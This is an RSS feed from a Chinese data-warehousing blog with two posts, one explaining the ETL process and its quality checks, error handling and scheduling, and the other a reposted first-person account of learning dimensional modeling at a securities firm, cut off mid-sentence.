<?xml version="1.0" encoding="gb2312"?>

<!-- RSS generated by oioj.net on 4/16/2004 ; 感谢LeXRus提供 RSS 2.0 文档; 此文件可自由使用，但请保留此行信息 --> 
<!-- Source download URL: http://blogger.org.cn/blog/rss2.asp       -->
<rss version="2.0">

<channel>
<title>数据仓库与数据挖掘</title>
<link>http://blogger.org.cn/blog/blog.asp?name=xueflhg</link>
<description>薛 峰的博客</description>
<copyright>blogger.org.cn</copyright>
<generator>W3CHINA Blog</generator>
<webMaster>webmaster@blogger.org.cn</webMaster>
<item>
<title><![CDATA[数据仓库中的ETL过程]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=42727</link>
<author>xueflhg</author>
<pubDate>2009/2/3 16:32:24</pubDate>
<description><![CDATA[<A><FONT size=1>　</FONT></A><FONT size=1> </FONT>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据仓库中的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>
<H1 style="MARGIN: 17pt 0cm 16.5pt 21.6pt"><FONT size=1><SPAN lang=EN-US style="mso-fareast-font-family: 'Times New Roman'"><SPAN style="mso-list: Ignore"><FONT face="Times New Roman">1<SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN></FONT></H1>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">指的是</SPAN><SPAN class=BodyChar><SPAN lang=EN-GB style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'">E</SPAN></SPAN><FONT face="Times New Roman"><SPAN lang=EN-US>xtraction, </SPAN><SPAN class=BodyChar><SPAN lang=EN-GB style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'">T</SPAN></SPAN><SPAN lang=EN-US>ransformation</SPAN></FONT><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">与</SPAN><SPAN class=BodyChar><SPAN lang=EN-GB style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'">L</SPAN></SPAN><SPAN lang=EN-US><FONT face="Times New Roman">oading</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">Extraction</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">指的是如何将数据从源系统中截取出来，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">Transformation</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">指在截取出来的数据格式与数据仓库所需要的数据做转换，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">Loading</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">指的是将数据加载到数据仓库中。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程的设计和实现是数据仓库建设过程中的至关重要的一部分，采用良好的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">设计结构可以有效的提高数据仓库的查询性能，并且更能够方便开发人员的维护和升级。</SPAN></FONT></P>
<H1 style="MARGIN: 17pt 0cm 16.5pt 21.6pt"><FONT size=1><FONT face="Times New Roman"><SPAN lang=EN-US style="mso-fareast-font-family: 'Times New Roman'"><SPAN style="mso-list: Ignore">2<SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN lang=EN-US>ETL</SPAN></FONT><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">系统架构设计</SPAN></FONT></H1>
<P class=1 style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 0cm; mso-char-indent-count: 0"><SPAN lang=EN-US><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock aspectratio="t" v:ext="edit"></o:lock></v:shapetype><v:shape id=_x0000_i1025 style="WIDTH: 414.75pt; HEIGHT: 458.25pt" o:borderrightcolor="this" o:borderbottomcolor="this" o:borderleftcolor="this" o:bordertopcolor="this" o:ole="" type="#_x0000_t75"><FONT size=1><v:imagedata o:title="" src="file:///C:\DOCUME~1\fx250001\LOCALS~1\Temp\msohtml1\01\clip_image001.emz"></v:imagedata><?xml:namespace prefix = w ns = "urn:schemas-microsoft-com:office:word" /><w:bordertop type="single" width="4"></w:bordertop><w:borderleft type="single" width="4"></w:borderleft><w:borderbottom type="single" width="4"></w:borderbottom><w:borderright type="single" width="4"></w:borderright></FONT></v:shape></SPAN></P>
<P class=MsoNormalIndent style="MARGIN: 0cm 0cm 0pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">以上为一个数据仓库的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">系统架构图，从图上可以看出整个数据仓库体系结构主要有源系统、源系统数据文件、数据仓库平台、数据集市等主要数据存储区。另外在数据仓库平台中还包括临时数据区和基础数据区两个集中存放数据仓库数据的区域与一个用来控制与调度</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">加载任务的控制数据库。</SPAN></FONT></P>
<P class=MsoNormalIndent style="MARGIN: 0cm 0cm 0pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据使用文本文件格式从源系统到处后使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">FTP</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">将数据传输到数据仓库服务器，而后经过第一步</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">加载过程进入数据仓库临时数据区，在这个过程中主要将数据文件中的数据进行清洗和整理按照源系统的数据字典情况转换为数据仓库中对应的数据格式，将所有数据文件中的数据全部存入临时数据表中。而后数据又经过第二步</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程将临时数据区中的数据按照数据仓库逻辑数据模型和物理数据模型设计的主题、关系表、代码表等业务逻辑全部进入基础数据区。这一步骤是数据仓库建设过程中至关重要的一部分，在这一步骤中</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程主要处理整合数据和优化数据结构。第三步</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">为数据集市从基础数据区抽取相应的数据到数据集市，这一步骤一般只是直接抽取所需要的数据。</SPAN></FONT></P>
<H1 style="MARGIN: 17pt 0cm 16.5pt 21.6pt"><FONT size=1><FONT face="Times New Roman"><SPAN lang=EN-US style="mso-fareast-font-family: 'Times New Roman'"><SPAN style="mso-list: Ignore">3<SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN lang=EN-US>ETL</SPAN></FONT><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">体系逻辑模块。</SPAN></FONT></H1>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据处理过程：即数据的抽取、加载与转换。该模块是整个</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">体系的核心，所有源数据层与数据服务层之间的数据映射关系以及数据转换与计算逻辑关系，都蕴含在该模块中。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据质量检查：是数据在转移和转换过程中正确性保证的重要手段，从实现层次上具备文件级检查、记录级检查、数据级检查和业务级检查四部分的功能，除业务级检查外，其他三类均在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程中实现。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">出错处理与回溯：是指各种异常情况的发生而导致数据</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程出错时，通过回溯操作可使数据库中的数据恢复到数据正确最近的时点，从而进行恢复性加载。保证</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">EDW</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据的可恢复性和数据处理的灵活性。在出错的情况中，比较严重的是当数据库中的数据出现较多错误时，需要对数据库中的数据进行回溯到前一天或数据正确最近的时点</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">任务调度与控制：统一的任务调度、自动化的流程控制与日志跟踪机制，无论是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程本身，还是过程中的数据质量检查以及出错处理和数据回溯，都需要统一在一个自动化的流程控制中，所有的任务根据其定义进行统一的调度，同时，每一个处理过程都进行日志记录，以便将来的追溯与跟踪。</SPAN></FONT></P>
<P class=MsoNormalIndent style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>
<H2 style="MARGIN: 13pt 0cm 13pt 28.8pt"><FONT size=1><SPAN lang=EN-US style="mso-fareast-font-family: Arial; mso-bidi-font-family: Arial"><SPAN style="mso-list: Ignore"><FONT face=Arial>3.1</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 黑体; mso-ascii-font-family: Arial">数据检查</SPAN></FONT></H2>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据检查在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程中时刻在发挥这作用，数据检查主要包括文件级检查、记录级检查、数据级检查和业务级检查。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">源系统将数据文件使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">FTP</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">传输到数据仓库服务器后，数据加载过程首先检查数据文件，主要检查数据文件的大小、数据文件格式是否是正规的文本文件。如果文件级检查出错，则整个数据文件不进行解析和加载，并且将有问题的数据文件移到有关目录下保存以便分析使用，同时将错误信息记录到数据库或者日志中。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'"><FONT size=1>源系统数据文件通过文件级检查后系统对数据文件进行解析和进行记录级检查。记录级检查主要检查是否使用规定的数据分隔符，字段数是否与数据字典的字段数一致，每个字段的数据格式是否一致等信息。如果数据记录级检查错误则，将有错的记录保存到特定的日志文件中，同时针对每条记录需要标记出记录错误类型以便开发人员分析。</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'"><FONT size=1>数据级检查主要根据事先定义的数据字典检查数据字段格式是否能够按照规定的数据格式存放到数据库中。如果数据级检查出错则，系统将指定的数据存放到特定的日志文件。</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'"><FONT size=1>业务级检查主要是在源数据已经进入了临时数据区后有业务人员和设计人员检查数据是否正真代表业务含义，这里没有规定的检查方式需要业务人员和设计人员人为检查。</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">因此数据质量检查模块在体系组成中需要包括数据质量检查规则配置库、数据质量检查任务、数据质量检查日志结果库。数据质量检查规则配置库用于定义进行数据检查的功能和规则；数据质量检查任务将完成各种具体的检查任务，这些任务将安置在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">流程的各个环节。同时，在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">运行的过程中，数据检查任务会将各自检查的结果写入数据检查日志结果库中。</SPAN></FONT></P>
<H2 style="MARGIN: 13pt 0cm 13pt 28.8pt"><FONT size=1><SPAN lang=EN-US style="mso-fareast-font-family: Arial; mso-bidi-font-family: Arial"><SPAN style="mso-list: Ignore"><FONT face=Arial>3.2</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 黑体; mso-ascii-font-family: Arial">数据处理</SPAN></FONT></H2>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'"><FONT size=1>从整体上数据处理是指针对加载数据的抽取、清洗、转换、加载等步骤，但是从数据仓库架构设计上数据处理主要由第一步抽取源系统数据到临时数据区，第二步整理和整合各源系统数据到基础数据区，第三步根据应用系统的需要抽取相关的数据形成数据集市以便相应的应用进行查询。</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">抽取源系统数据到临时数据区的过程主要通过文本文件格式进行数据交互，一般文本文件有源系统提供，并且使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">FTP</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">工具传输到数据仓库服务器，完成数据加载后删除临时文件数据。源系统将需要加载的临时文本文件传送到数据仓库服务器后，数据处理过程根据指定的规则按行进行读取数据文件，在加载数据过程中根据对应的转换规则进行转换数据格式，并且将所有空值数据使用统一的数据进行替代。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">从源系统来的数据文件加载到临时数据区后，需要整理和整合各个源系统数据保存到数据仓库的基础区。这个过程是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程中的核心部分，在这个过程中需要根据数据仓库的逻辑数据模型和物理数据模型确定每个主题和历史表之间的关系和相应的加载策略抽取和整合已经保存在临时数据区的源系统数据，最终优化数据结构将各源系统数据存放在基础数据区中。基础数据区是根据数据仓库的逻辑数据模型设计需要满足三范式设计模式，以便数据仓库的数据能够方便的使用和扩展。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'"><FONT size=1>在基础数据区的数据已经能够方便的使用，但是在数据仓库项目建设过程中发现，如果应用系统频繁的查询基础数据物理表降低了数据仓库的整体性能。为了解决这个问题，可以采用两种方法进行处理，第一是针对经常被查询的数据建立特定的视图或者物化视图以便提高查询速度，第二是将特定分析内容进行抽取和汇总形成特定分析的数据集市，在数据集市基础之上进行查询和分析。</FONT></SPAN></P>
<H2 style="MARGIN: 13pt 0cm 13pt 28.8pt"><FONT size=1><SPAN lang=EN-US style="mso-fareast-font-family: Arial; mso-bidi-font-family: Arial"><SPAN style="mso-list: Ignore"><FONT face=Arial>3.3</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 黑体; mso-ascii-font-family: Arial">出错处理</SPAN></FONT></H2>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">如果由于各种异常情况的发生而导致数据</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程出错时，通过回溯操作可使数据库中的数据恢复到数据正确最近的时点，从而进行恢复性加载。保证</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">EDW</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">数据的可恢复性和数据处理的灵活性。在出错的情况中，比较严重的是当数据库中的数据出现较多错误时，需要对数据库中的数据进行回溯到前一天或数据正确最近的时点。</SPAN></FONT></P>
<H2 style="MARGIN: 13pt 0cm 13pt 28.8pt"><FONT size=1><SPAN lang=EN-US style="mso-fareast-font-family: Arial; mso-bidi-font-family: Arial"><SPAN style="mso-list: Ignore"><FONT face=Arial>3.4</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 黑体; mso-ascii-font-family: Arial">任务调度</SPAN></FONT></H2>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><FONT size=1><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">统一的任务调度、自动化的流程控制与日志跟踪机制，无论是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ETL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">过程本身，还是过程中的数据质量检查以及出错处理和数据回溯，都需要统一在一个自动化的流程控制中，所有的任务根据其定义进行统一的调度，同时，每一个处理过程都进行日志记录，以便将来的追溯与跟踪。</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=1>&nbsp;</FONT></o:p></SPAN></P>]]></description>
</item><item>
<title><![CDATA[数据仓库是干什么的，到现在，我终于看到了成果。(不是我的，这个是从网上找来的)]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=16337</link>
<author>xueflhg</author>
<pubDate>2006/7/6 15:41:02</pubDate>
<description><![CDATA[<FONT face=Verdana>数据仓库是干什么的，到现在，我终于看到了成果。<BR><BR>一年半以前，我来到现在这家公司(一家证券公司)。跟所有2004年的证券公司一样，“生”与“死”是当时考虑的唯一问题。为获得证监会的“创新业务资格”(获得这个牌照就如同获得了免死金牌，不但能够生存而且能获得资助从而做大做强)，公司急需上马一套集中监控系统，我就是为了这个项目被招募到公司。<BR><BR>背景：<BR>在证券行业中，所有公司的业务系统（所谓证券交易系统）有一个基本特征：每一个分支机构（所谓营业部）的交易系统都是独立的（地理上、管理上），这样总部没办法在技术上对数十套这样的系统的业务数据进行及时的分析与核对。（当然这两年几乎所有公司都实现了交易系统的集中。）于是，几乎所有的证券公司都上马了一套集中监控系统，它通过广域网，把公司下属的这几十家营业部的数据实时或当天晚上采集到总部的数据库中，白天实时的对资金存取、证券买卖等业务行为进行监控，晚上再运算一些核对功能，看资金和证券是否帐实相符，再通过WEB界面将结果展示给公司审计部门。我们公司在05年上半年上了这个系统。<BR><BR>由于手头上的这个系统整合了公司所有的业务系统的数据(30多套分布在全国各地的交易系统、30多套财务系统、集中清算系统、登记公司数据、等等)，所以象每个技术型IT员工一样，我有一个自然而然的想法：能不能搞清楚公司所有业务信息的逻辑关系，自己建一个数据库，搞一个数字虚拟证券公司，在我的这个数据库中包含公司每一个业务细节的信息，业务部门不管要什么，我都能很快提供出来（而不是依赖供应商）。<BR><BR>OK。在我这个最朴素的想法的支配下，我开始学习数据库（搞了若干年IT基础设施的我，居然在2004年底又开始学习数据库！可见中国的IT岗位有多么不清晰。），向供应商请教底层数据结构，向他们请教业务逻辑关系。3个月后，我居然已经能够对供应商提供的“监控功能”提供完全的功能验证，指出了无数的功能BUG，同时也具备了证券交易、结算业务逻辑的完全的知识。于是想着手搞一套表名字段名命名规则、再搞一套表对应关系（到后来才知道这叫建立“数据模型”），把证券公司的业务描述得清清楚楚，但到底怎么搞，朦朦浓浓的，不知如何下手。<BR><BR>另外，我这个人最讲究前因后果，所以十分想对证券业务信息中的因果关系搞清楚讲明白。例如：统计出来的股票交易量的前提条件有很多：不同营业部、不同的委托方式、不同的交易所、不同的币种、不同的证券类别、不同的客户规模、不同的客户年龄段、不同的月份日期，等等，出来的交易量结果都不一样。可以用一个表来描述，前边都是因素字段，最后一个是一数值型的交易量字段。蒙蒙浓浓知道这里边有逻辑关系，但总说不清道不明。<BR><BR>一般而言，越是本能的困惑，往往越是一门大学问。我们在现实工作中遇到的很多问题，美国人早就遇到了，并形成了文字、理论（还起了一堆足以让我们愣住的大写字母组成的名次。）我们缺乏的是对我们自己本质需求的理解，和与外国已有经验（经验经过归纳后就叫理论），的连接。<BR><BR>考虑到项目招标时，供应商如何描述“数据仓库”“元数据”等等，搞不清的概念，于是想搞清楚到底什么是“数据仓库”。于是去图书城，专门到数据仓库、OLAP、多维建模书籍区域去，挨个拿过来翻。注意：如果你没有这方面的困惑和经验，很难对这些书产生共鸣（或者理解），特别是翻译这些专业书籍的人往往本身对这些东西不懂，所以又误导了一批读者。所以，十几本书里，我只对2本里的一些描述产生强烈的共鸣。<BR><BR>1、《维度建模完全指南》（该书的作者自称是“数据仓库”的鼻祖）开篇对“数据仓库项目经理”的本质做了描述：一个数据的收集者，一个数据的整理者，一个统计分析数据的发布者。OK。完全与我的蒙蒙浓浓的对自己在公司里的定位完全一致！作者认为，数据仓库的本质就是收集尽可能多的信息，用作公司的决策支持（中国人总认为做决策的人一定是领导，所以把“决策支持”等同于“领导查询”，其实在美国，“决策”（decision）是分散到普通员工的（通常是普通的业务人员），而且任何一项普通的业务决定也叫“决策”，并不是“战略决策”才叫决策。所以“决策支持”绝对不是什么高深的东西）。经过清理的数据往往以一种特定的格式（所谓星型结构）存放在数据库中，整本书就是与读者探讨（注意是“探讨”，而不是“传授”，所有美国的这类权威书籍里都极力强调不要按书里的方法去实践，这就是美国鼓励自主创新和中国服从权威的不同文化的典型体现）这方面的经验。<BR><BR>2《建立多维信息系统》，以一步步深入的方式，解释了维度的概念。所谓“维度”，就是前边我理解的“因素字段”，影响谁呢？表结构中最后的那个数值型的字段。例如证券交易量字段。交易量字段就是一个“事实”、fact。营业部、委托方式、交易所、币种、证券类别、客户规模、客户年龄段、交易日期，都是因素字段，就是维度！数数有多少？8个，就是8维。当然可以更多。这就是多维的概念。在我们本能的对日常事务的分析中，就蕴含了“多维”的概念，只是我们没把这种意识写下来，出书，办研讨会等等。美国人做事就是较真，我们的朦朦浓浓的东西，到人家那里就是几万人研究几十年！<BR><BR>因为证券公司就靠着客户做证券交易收取手续费，所以业务部门对交易量的统计报表需求很强烈。2年前，由每个营业部发Email报报表，专门一个人汇总。现在有了集中的业务数据，业务部门就开始使用供应商提供的业务统计报表。太多了，例如：以营业部为行，证券类别为列出一张报表；以月份为单位出，以周为单位出；算公司交易量对证券交易所交易量的比例。等等。算了一下，不下30多张。还经常要变动。一觉得数据不正常，就找我，让我找找原因。于是，我就到数据库里去，这个字段